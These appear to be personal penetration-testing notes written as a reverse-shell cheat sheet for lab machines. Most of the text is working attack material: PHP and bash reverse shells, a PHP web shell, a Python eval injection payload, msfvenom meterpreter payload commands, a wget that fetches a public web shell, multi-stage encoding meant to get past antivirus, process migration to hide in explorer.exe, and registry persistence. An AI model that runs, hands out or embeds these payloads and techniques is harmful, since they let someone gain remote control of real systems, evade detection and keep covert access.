# **Reverse Shell**

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

## Inside kali linux

/usr/share/webshells/php

### **PHP**

```
<?php $sock=fsockopen("10.10.14.33",9999);exec("/bin/sh -i <&3 >&3 2>&3"); ?>
<?php echo system($_REQUEST['ahmed']); ?>
```

# **Python**

# **Fully Interactive Shell**

```
// get the number or ROWS and Columns , example 34 , 126 stty -a 
//in ur shell (exploited one) stty rows 34 cols 136
```

#### **Bash Shell**

```
bash -c 'bash -i >& /dev/tcp/10.10.14.33/9999 0>&1'
nc -nlvp 12345
```

### **Nmap Shell**

sudo nmap --interactive

### **Python Eval**

```
eval( <user input> )
import in one line
payload = '__import__("os").system("ping -c 1 10.10.14.9")'
to check the payload is successfull
tcpdump -n -i tun0 icmp
get payload from pentest monkey
```

sometimes the shell does-not work on eval because it need it to be in one line

```
To make one line:
nano file.py
from base64 import b64encode
sc= """ <payload>"""
print(b64.encode(sc.encode())

python3 file.py
take the base64
change payload to be
eval('exec(("base64").b64decode("<copied base64 payload>"))')
```

#### **JAVA**

msfvenom -p java/jsp\_shell\_reverse\_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell\_exp1o1t9r.jsp

### **ASPX**

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.14.2 LPORT=4444 -f aspx > devel.aspx

```
put devel.aspx
run listener on msfconsole
session -i 1
```

# **Windows**

Cool shell with browser:

wget -O payload1.php https://raw.githubusercontent.com/BlackArch/webshells/master/php/b374k-2.7.php

msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse\_tcp

### **Notes:**

**single payload** (stageless) : fire and forget , single file has all malicious code , runs and exits **stagger payload** : has stages

### Meterpreter:

https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/https://blog.rapid7.com/2015/03/25/stageless-meterpreter-payloads/

Reverse shell vs Bind shell: mainly about who initiates the connection (tcp connection three-way handshake)

(from stackoverflow)

A **reverse shell** is a shell initiated from the target host back to the attack box which is in a listening state to pick up the shell.

A **bind shell** is setup on the target host and binds to a specific port to listens for an incoming connection from the attack box.

Most firewalls block incoming connections, so reverse shell is better better at evading.

### **Msfvenom**

msfvenom -p windows/meterpreter/reverse\_tcp lhost=10.0.2.4 lport=1337 -f exe > exploit1.exe

to encode a payload): (change how it looks to bypass anti-viruses, beyghayar fel shakl bas).

msfvenom --platform windows -a x86 -p windows/meterpreter/reverse\_tcp lhost=10.0.2.13 lport 1337 -e x86/shikata\_ga\_nai -f exe > exploit

add (-i3) to the command to add three encoding iteration.

### bad characters:

in some softwares , they filter characters that can cause an attack. so add option in venom -b '\x00' -f raw

final command to generate payload 3 times:

msfvenom --platform windows -a x86 -p windows/meterpreter/reverse\_tcp lhost=10.144.3.89 lport=1337 -e x86/shikata\_ga\_nai -i 3 -f raw |msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata\_ga\_nai -i 10 -f exe -o exploit-insane.exe

virustotal.com: check how many anti-viruses that you can detect the virus.

How to listen after generating a payload : using metasploit , because netcad can only open

one connection.

msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse\_tcp set lhost 10.0.2.13 set lport 1337

in msfconsole:

show advanced : shows additional options that you can set in your exploit . Perpend migrate  $\operatorname{---}$  search for it

**migration:** hiding evil process in a good one line exploit.exe in explorer.exe in windows (explorer.exe always running so your evil process is always running too) how: command migrate and give it the process id you want to migrate to.

how to make your payload persistent (runs after reboot): play in registry (configurations), you can find them in startup tab in task manager this registery has file that has the name of apps that run on startup.

use command run persistence in meterpreter

scriptdotsh malware development github apt-install mingw-w64 fernet\_obfuscator